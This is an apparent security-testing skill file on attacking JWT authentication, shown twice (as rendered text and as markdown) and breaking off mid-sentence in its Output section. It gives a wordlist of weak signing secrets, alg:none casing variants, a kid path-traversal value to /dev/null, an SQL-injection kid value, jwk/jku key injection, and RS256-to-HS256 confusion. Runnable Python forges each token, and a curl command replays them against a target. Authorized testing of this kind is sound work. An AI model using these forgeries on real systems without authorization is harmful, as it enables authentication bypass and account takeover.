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Forge and re-sign captured JWTs to test signature validation - algorithm confusion (alg:none, RS256 to HS256), key injection, and secret cracking. Use when testing JWT or bearer-token auth.

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Forge and re-sign captured JWTs to test signature validation - algorithm confusion (alg:none, RS256 to HS256), key injection, and secret cracking. Use when testing JWT or bearer-token auth.

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Scope & authorization
Step 0 - locate the token and establish a baseline
Step 1 - offline HMAC secret crack (passive)
Step 2 - signature stripping (active)
Step 3 - alg:none family (active)
Step 4 - kid manipulation (active)
Step 5 - self-signed key injection: jwk / jku (active)
Step 6 - RS256->HS256 algorithm confusion (active)
Runnable snippets
Output

Scope & authorization

Only run against an application you own or are engaged to test. The offline secret-cracking step (Step 1) is fully passive - it only analyzes a token you already captured and makes no network requests, so it is always safe to run. Every forgery step after it is active: it replays a tampered token against the live server, which mutates the authenticated session and appears in the target's logs. Do not run the active steps against third-party or out-of-scope hosts.

Inputs are the JWTs you already hold - captured from proxy history, a browser session, or an Authorization header the app issued to you. Outputs are "report a finding when the server accepts a token you forged."

Step 0 - locate the token and establish a baseline

Find the JWT. In each captured request, read the Authorization header. Strip a leading Bearer if present. A JWT is three base64url segments joined by dots (header.payload.signature) and the header segment almost always starts with ey (that is {" base64url-encoded). Tokens also appear in cookies and in access_token / id_token body or query params - check those too. Skip any auth header whose value does not start with ey; after ~3 non-JWT auth values on a host, move on.
Decode it (passive). base64url-decode segment 1 (header) and segment 2 (payload). Note alg, kid, jku, jwk in the header and exp, iat, roles/scopes/sub in the payload - these drive both the crack and the forgeries.
Establish the rejection baseline (active). Before forging anything, confirm the endpoint actually enforces the token: replay the request with a deliberately invalid token (original token with its last signature character changed) and confirm the server answers 401 Unauthorized. Only endpoints that reject a bad token are worth attacking - if an endpoint returns 200 for garbage, it never checked the token and the "forgery accepted" signal is meaningless. Rate-limit yourself: after ~5 filtered requests that fail to return 401 to an invalid token, stop on that host.

Throughout the active steps, the finding condition is identical: you send a token you forged (one you could never have signed legitimately) and the server responds with anything other than Unauthorized - it verified nothing, or verified against something you control.

Step 1 - offline HMAC secret crack (passive)

If the token uses a symmetric algorithm (HS256 / HS384 / HS512), its signature is an HMAC keyed by a server secret. A weak/default secret can be recovered offline with zero requests: for each candidate key in a wordlist, attempt to verify the captured token; the key that verifies is the server's signing secret. Once you hold it you can mint arbitrary valid tokens (any sub, any role, any exp).

Report a finding when: any candidate key successfully verifies the captured token's signature. Record the recovered key.

Use the bundled references/jwt-secrets.txt (~1,600 weak/default/leaked HMAC secrets) as the primary wordlist - pass it to the cracker below or to hashcat -m 16500 for a GPU run. Always add app-specific candidates too: project name, domain, and the SECRET_KEY defaults of the framework in use. Extend further with the jwt.secrets.list from the wallarm/jwt-secrets collection.

The short list below is only an at-a-glance sample of what references/jwt-secrets.txt covers:

secret
password
changeme
default
jwt
jwtsecret
jwt_secret
jwtSecret
your-256-bit-secret
your_jwt_secret
mysecret
supersecret
secretkey
secret_key
key
private
admin
test
qwerty
123456
0000000000000000

Step 2 - signature stripping (active)

Send the token as header.payload. - both original segments unchanged, the signature segment emptied (trailing dot, nothing after it). This tests servers that split on . and only verify a signature when the third segment is non-empty. Report a finding when the server accepts the empty-signature token.

Step 3 - alg:none family (active)

The none algorithm declares "unsigned"; a spec-compliant verifier must reject it on a protected endpoint. Forge an unsigned token: take the original header, set alg, take the original payload, and push exp ~12 hours into the future (so a stale-but-otherwise-valid token isn't rejected merely for expiry). Re-encode header.payload. with an empty signature. Try each casing variant separately - naive blocklists only match one:

none (lowercase)
None (title-case)
NONE (upper)
nOnE / noNE (mixed case)

Report a finding when the server accepts any casing of an unsigned token with the alg set to a none variant.

Step 4 - kid manipulation (active)

If the header carries a kid (key-id), the server uses it to select the verification key - which makes it an injection point. Forge a token whose kid points somewhere predictable, then sign with a key you control:

Path traversal to a null/empty file: set kid to ../../../../../../../dev/null (and, for parsers that read a k field, set k to empty or the base64 of a null byte, AA==), then HMAC-sign the token with an empty key. If the server loads /dev/null as the key material, it verifies your token against an empty key - which you used - and it passes.
SQL-injection / other traversal targets in kid (e.g. ' UNION SELECT 'known-key'--) follow the same shape: make the key the server fetches be one you know, then sign with it.

Report a finding when the server accepts a token whose kid you redirected and which you signed with the resulting known/empty key.

Step 5 - self-signed key injection: jwk / jku (active)

These attacks make the token carry (or point at) the verification key, so a server that trusts header-supplied keys will validate a token you signed with your own keypair.

Embedded JWK (jwk header). Generate your own RSA keypair. Build a header with alg: RS256 (force it if the original used a different family), a kid (reuse the original's or your public-key thumbprint), and a jwk object containing your public key (kty: RSA, e: AQAB, n: = your key's base64url modulus). Sign the token with your private key. A server that verifies against the inline jwk instead of its own trusted key will accept it.
jku header pointing at your JWKS. Set jku to a URL you host serving a jwks.json that contains your public key, and sign with your private key. This is noisier (it makes the server fetch an attacker URL, leaving a callback fingerprint) - only run it where an out-of-band HTTP hit is acceptable, and prefer an in-scope collaborator/canary host. Watch for SSRF-style allowlist bypasses (jku host-confusion, @-tricks) if the server restricts the jku origin.

Report a finding when the server accepts a token signed by your own keypair because it trusted a key you supplied in jwk or fetched via jku.

Step 6 - RS256->HS256 algorithm confusion (active)

When a token is RSA-signed (RS256/RS384/RS512), the server holds an RSA public key to verify it - and that public key is not secret. If the server picks its verification algorithm from the token's own alg header, switch alg to HS256 and sign the token using the RSA public-key PEM text as the HMAC secret. A confused server will HMAC-verify with the public key it thinks is an RSA key - a value you also hold - and accept the token.

You need the server's public key. Obtain it from the app's JWKS endpoint (/.well-known/jwks.json, /jwks), from the TLS certificate, or reconstruct it from two captured tokens (the rsa_sign2n technique recovers n from two signatures). Then HMAC-SHA256 header.payload using the exact PEM bytes as the key.

Report a finding when the server accepts an HS256 token that you signed with its RSA public key as the HMAC secret. (The source query flags this alongside jku tampering, ECDSA confusions, and CVE-2017-11424-style public-key confusions as high-value follow-ups to the automated checks above.)

Runnable snippets

Passive crack (Step 1) - no network, tries the bundled jwt-secrets.txt against a captured token. Set $JWT to the token and $WL to this skill's wordlist (references/jwt-secrets.txt):

python3 - "$JWT" "${WL:-references/jwt-secrets.txt}" <<'PY'
import sys, jwt
tok = sys.argv[1]
wl = open(sys.argv[2], encoding="utf-8").read().splitlines()
for k in wl:
    try:
        jwt.decode(tok, k, algorithms=["HS256","HS384","HS512"], options={"verify_exp": False})
        print("CRACKED secret:", repr(k)); break
    except Exception:   # not just InvalidTokenError: an empty candidate raises InvalidKeyError, which must not abort the run
        pass
else:
    print(f"no key in {len(wl)}-entry wordlist matched")
PY

Forge the active mutations (Steps 2-6) from a captured token, then replay each against the live endpoint:

python3 - <<'PY'
import json, base64, hmac, hashlib, time, jwt
from cryptography.hazmat.primitives.asymmetric import rsa
from cryptography.hazmat.primitives import serialization

TOKEN = "PASTE_CAPTURED_JWT_HERE"
b64u  = lambda b: base64.urlsafe_b64encode(b).rstrip(b"=").decode()
d64u  = lambda s: base64.urlsafe_b64decode(s + "=" * (-len(s) % 4))
h_seg, p_seg, s_seg = TOKEN.split(".")
hdr = json.loads(d64u(h_seg)); pl = json.loads(d64u(p_seg))
pl["exp"] = int(time.time()) + 12 * 3600
enc = lambda o: b64u(json.dumps(o, separators=(",", ":")).encode())

forgeries = {}

forgeries["strip"] = f"{h_seg}.{p_seg}."

for a in ("none", "None", "NONE", "nOnE"):
    forgeries[f"alg={a}"] = f"{enc({**hdr, 'alg': a})}.{enc(pl)}."

kh = {**hdr, "alg": "HS256", "kid": "../../../../../../../dev/null", "k": ""}
si = f"{enc(kh)}.{enc(pl)}"
forgeries["kid-devnull"] = si + "." + b64u(hmac.new(b"", si.encode(), hashlib.sha256).digest())

priv = rsa.generate_private_key(public_exponent=65537, key_size=2048)
nums = priv.public_key().public_numbers()
n_b64 = b64u(nums.n.to_bytes((nums.n.bit_length()+7)//8, "big"))
jwk_hdr = {**hdr, "alg": "RS256",
           "jwk": {"kty": "RSA", "use": "sig", "e": "AQAB",
                   "kid": hdr.get("kid", "poc"), "n": n_b64}}
pem = priv.private_bytes(serialization.Encoding.PEM,
                         serialization.PrivateFormat.PKCS8,
                         serialization.NoEncryption())
forgeries["jwk-inject"] = jwt.encode(pl, pem, algorithm="RS256", headers=jwk_hdr)

PUBKEY_PEM = b"-----BEGIN PUBLIC KEY-----\n...server public key...\n-----END PUBLIC KEY-----"
ch = {**hdr, "alg": "HS256"}
ci = f"{enc(ch)}.{enc(pl)}"
forgeries["rs->hs"] = ci + "." + b64u(hmac.new(PUBKEY_PEM, ci.encode(), hashlib.sha256).digest())

for name, tok in forgeries.items():
    print(name, tok)
PY

Replay each forged token and read the status line - anything that is not 401 on an endpoint that rejected your Step-0 invalid token is a finding:

curl -sk -o /dev/null -w '%{http_code}\n' \
  -H "Authorization: Bearer $FORGED_JWT" "https://TARGET/protected/endpoint"

Output

Report per token and per endpoint:

JWT located - where (header/cookie/param), its alg, and whether the endpoint enforced it (401 baseline confirmed).
Passive: secret cracked? If yes, name the recovered key - the server's HMAC secret is fully compromised and arbitrary valid tokens can be minted.
Active: for each mutation (signature-strip, alg:none

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---
name: jwt-attacks
description: Forge and re-sign captured JWTs to test signature validation - algorithm confusion (alg:none, RS256 to HS256), key injection, and secret cracking. Use when testing JWT or bearer-token auth.
---

## Contents
- Scope & authorization
- Step 0 - locate the token and establish a baseline
- Step 1 - offline HMAC secret crack (passive)
- Step 2 - signature stripping (active)
- Step 3 - alg:none family (active)
- Step 4 - kid manipulation (active)
- Step 5 - self-signed key injection: jwk / jku (active)
- Step 6 - RS256->HS256 algorithm confusion (active)
- Runnable snippets
- Output

## Scope & authorization

Only run against an application you own or are engaged to test. The offline secret-cracking step (Step 1) is fully passive - it only analyzes a token you already captured and makes no network requests, so it is always safe to run. Every forgery step after it is active: it replays a tampered token against the live server, which mutates the authenticated session and appears in the target's logs. Do not run the active steps against third-party or out-of-scope hosts.

Inputs are the JWTs you already hold - captured from proxy history, a browser session, or an `Authorization` header the app issued to you. Outputs are "report a finding when the server accepts a token you forged."

## Step 0 - locate the token and establish a baseline

1. **Find the JWT.** In each captured request, read the `Authorization` header. Strip a leading `Bearer ` if present. A JWT is three base64url segments joined by dots (`header.payload.signature`) and the header segment almost always starts with `ey` (that is `{"` base64url-encoded). Tokens also appear in cookies and in `access_token` / `id_token` body or query params - check those too. Skip any auth header whose value does not start with `ey`; after ~3 non-JWT auth values on a host, move on.
2. **Decode it (passive).** base64url-decode segment 1 (header) and segment 2 (payload). Note `alg`, `kid`, `jku`, `jwk` in the header and `exp`, `iat`, roles/scopes/`sub` in the payload - these drive both the crack and the forgeries.
3. **Establish the rejection baseline (active).** Before forging anything, confirm the endpoint actually enforces the token: replay the request with a **deliberately invalid** token (original token with its last signature character changed) and confirm the server answers `401 Unauthorized`. Only endpoints that reject a bad token are worth attacking - if an endpoint returns 200 for garbage, it never checked the token and the "forgery accepted" signal is meaningless. Rate-limit yourself: after ~5 filtered requests that fail to return 401 to an invalid token, stop on that host.

Throughout the active steps, the finding condition is identical: **you send a token you forged (one you could never have signed legitimately) and the server responds with anything other than Unauthorized** - it verified nothing, or verified against something you control.

## Step 1 - offline HMAC secret crack (passive)

If the token uses a symmetric algorithm (`HS256` / `HS384` / `HS512`), its signature is an HMAC keyed by a server secret. A weak/default secret can be recovered offline with zero requests: for each candidate key in a wordlist, attempt to verify the captured token; the key that verifies is the server's signing secret. Once you hold it you can mint arbitrary valid tokens (any `sub`, any role, any `exp`).

Report a finding when: any candidate key successfully verifies the captured token's signature. Record the recovered key.

Use the bundled **`references/jwt-secrets.txt`** (~1,600 weak/default/leaked HMAC secrets) as the primary wordlist - pass it to the cracker below or to `hashcat -m 16500` for a GPU run. Always add app-specific candidates too: project name, domain, and the `SECRET_KEY` defaults of the framework in use. Extend further with the `jwt.secrets.list` from the `wallarm/jwt-secrets` collection.

The short list below is only an at-a-glance sample of what `references/jwt-secrets.txt` covers:

```
secret
password
changeme
default
jwt
jwtsecret
jwt_secret
jwtSecret
your-256-bit-secret
your_jwt_secret
mysecret
supersecret
secretkey
secret_key
key
private
admin
test
qwerty
123456
0000000000000000
```

## Step 2 - signature stripping (active)

Send the token as `header.payload.` - both original segments unchanged, the signature segment emptied (trailing dot, nothing after it). This tests servers that split on `.` and only verify a signature when the third segment is non-empty. Report a finding when the server accepts the empty-signature token.

## Step 3 - alg:none family (active)

The `none` algorithm declares "unsigned"; a spec-compliant verifier must reject it on a protected endpoint. Forge an unsigned token: take the original header, set `alg`, take the original payload, and push `exp` ~12 hours into the future (so a stale-but-otherwise-valid token isn't rejected merely for expiry). Re-encode `header.payload.` with an empty signature. Try each casing variant separately - naive blocklists only match one:

- `none` (lowercase)
- `None` (title-case)
- `NONE` (upper)
- `nOnE` / `noNE` (mixed case)

Report a finding when the server accepts any casing of an unsigned token with the `alg` set to a `none` variant.

## Step 4 - kid manipulation (active)

If the header carries a `kid` (key-id), the server uses it to select the verification key - which makes it an injection point. Forge a token whose `kid` points somewhere predictable, then sign with a key you control:

- **Path traversal to a null/empty file:** set `kid` to `../../../../../../../dev/null` (and, for parsers that read a `k` field, set `k` to empty or the base64 of a null byte, `AA==`), then HMAC-sign the token with an **empty** key. If the server loads `/dev/null` as the key material, it verifies your token against an empty key - which you used - and it passes.
- **SQL-injection / other traversal targets** in `kid` (e.g. `' UNION SELECT 'known-key'--`) follow the same shape: make the key the server fetches be one you know, then sign with it.

Report a finding when the server accepts a token whose `kid` you redirected and which you signed with the resulting known/empty key.

## Step 5 - self-signed key injection: jwk / jku (active)

These attacks make the token carry (or point at) the verification key, so a server that trusts header-supplied keys will validate a token you signed with your own keypair.

- **Embedded JWK (`jwk` header).** Generate your own RSA keypair. Build a header with `alg: RS256` (force it if the original used a different family), a `kid` (reuse the original's or your public-key thumbprint), and a `jwk` object containing your public key (`kty: RSA`, `e: AQAB`, `n:` = your key's base64url modulus). Sign the token with your **private** key. A server that verifies against the inline `jwk` instead of its own trusted key will accept it.
- **jku header pointing at your JWKS.** Set `jku` to a URL you host serving a `jwks.json` that contains your public key, and sign with your private key. This is noisier (it makes the server fetch an attacker URL, leaving a callback fingerprint) - only run it where an out-of-band HTTP hit is acceptable, and prefer an in-scope collaborator/canary host. Watch for SSRF-style allowlist bypasses (`jku` host-confusion, `@`-tricks) if the server restricts the `jku` origin.

Report a finding when the server accepts a token signed by your own keypair because it trusted a key you supplied in `jwk` or fetched via `jku`.

## Step 6 - RS256->HS256 algorithm confusion (active)

When a token is RSA-signed (`RS256`/`RS384`/`RS512`), the server holds an RSA **public** key to verify it - and that public key is not secret. If the server picks its verification algorithm from the token's own `alg` header, switch `alg` to `HS256` and sign the token using the **RSA public-key PEM text as the HMAC secret**. A confused server will HMAC-verify with the public key it thinks is an RSA key - a value you also hold - and accept the token.

You need the server's public key. Obtain it from the app's JWKS endpoint (`/.well-known/jwks.json`, `/jwks`), from the TLS certificate, or reconstruct it from two captured tokens (the `rsa_sign2n` technique recovers `n` from two signatures). Then HMAC-SHA256 `header.payload` using the exact PEM bytes as the key.

Report a finding when the server accepts an `HS256` token that you signed with its RSA public key as the HMAC secret. (The source query flags this alongside `jku` tampering, ECDSA confusions, and CVE-2017-11424-style public-key confusions as high-value follow-ups to the automated checks above.)

## Runnable snippets

Passive crack (Step 1) - no network, tries the bundled `jwt-secrets.txt` against a captured token. Set `$JWT` to the token and `$WL` to this skill's wordlist (`references/jwt-secrets.txt`):

```bash
python3 - "$JWT" "${WL:-references/jwt-secrets.txt}" <<'PY'
import sys, jwt
tok = sys.argv[1]
wl = open(sys.argv[2], encoding="utf-8").read().splitlines()
for k in wl:
    try:
        jwt.decode(tok, k, algorithms=["HS256","HS384","HS512"], options={"verify_exp": False})
        print("CRACKED secret:", repr(k)); break
    except Exception:   # not just InvalidTokenError: an empty candidate raises InvalidKeyError, which must not abort the run
        pass
else:
    print(f"no key in {len(wl)}-entry wordlist matched")
PY
```

Forge the active mutations (Steps 2-6) from a captured token, then replay each against the live endpoint:

```bash
python3 - <<'PY'
import json, base64, hmac, hashlib, time, jwt
from cryptography.hazmat.primitives.asymmetric import rsa
from cryptography.hazmat.primitives import serialization

TOKEN = "PASTE_CAPTURED_JWT_HERE"
b64u  = lambda b: base64.urlsafe_b64encode(b).rstrip(b"=").decode()
d64u  = lambda s: base64.urlsafe_b64decode(s + "=" * (-len(s) % 4))
h_seg, p_seg, s_seg = TOKEN.split(".")
hdr = json.loads(d64u(h_seg)); pl = json.loads(d64u(p_seg))
pl["exp"] = int(time.time()) + 12 * 3600
enc = lambda o: b64u(json.dumps(o, separators=(",", ":")).encode())

forgeries = {}

forgeries["strip"] = f"{h_seg}.{p_seg}."

for a in ("none", "None", "NONE", "nOnE"):
    forgeries[f"alg={a}"] = f"{enc({**hdr, 'alg': a})}.{enc(pl)}."

kh = {**hdr, "alg": "HS256", "kid": "../../../../../../../dev/null", "k": ""}
si = f"{enc(kh)}.{enc(pl)}"
forgeries["kid-devnull"] = si + "." + b64u(hmac.new(b"", si.encode(), hashlib.sha256).digest())

priv = rsa.generate_private_key(public_exponent=65537, key_size=2048)
nums = priv.public_key().public_numbers()
n_b64 = b64u(nums.n.to_bytes((nums.n.bit_length()+7)//8, "big"))
jwk_hdr = {**hdr, "alg": "RS256",
           "jwk": {"kty": "RSA", "use": "sig", "e": "AQAB",
                   "kid": hdr.get("kid", "poc"), "n": n_b64}}
pem = priv.private_bytes(serialization.Encoding.PEM,
                         serialization.PrivateFormat.PKCS8,
                         serialization.NoEncryption())
forgeries["jwk-inject"] = jwt.encode(pl, pem, algorithm="RS256", headers=jwk_hdr)

PUBKEY_PEM = b"-----BEGIN PUBLIC KEY-----\n...server public key...\n-----END PUBLIC KEY-----"
ch = {**hdr, "alg": "HS256"}
ci = f"{enc(ch)}.{enc(pl)}"
forgeries["rs->hs"] = ci + "." + b64u(hmac.new(PUBKEY_PEM, ci.encode(), hashlib.sha256).digest())

for name, tok in forgeries.items():
    print(name, tok)
PY
```

Replay each forged token and read the status line - anything that is not 401 on an endpoint that rejected your Step-0 invalid token is a finding:

```bash
curl -sk -o /dev/null -w '%{http_code}\n' \
  -H "Authorization: Bearer $FORGED_JWT" "https://TARGET/protected/endpoint"
```

## Output

Report per token and per endpoint:

- **JWT located** - where (header/cookie/param), its `alg`, and whether the endpoint enforced it (401 baseline confirmed).
- **Passive:** secret cracked? If yes, name the recovered key - the server's HMAC secret is fully compromised and arbitrary valid tokens can be minted.
- **Active:** for each mutation (signature-strip, alg:none

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Step 0 - locate the token and establish a baseline

Step 1 - offline HMAC secret crack (passive)

Step 2 - signature stripping (active)

Step 3 - alg:none family (active)

Step 4 - kid manipulation (active)

Step 5 - self-signed key injection: jwk / jku (active)

Step 6 - RS256->HS256 algorithm confusion (active)

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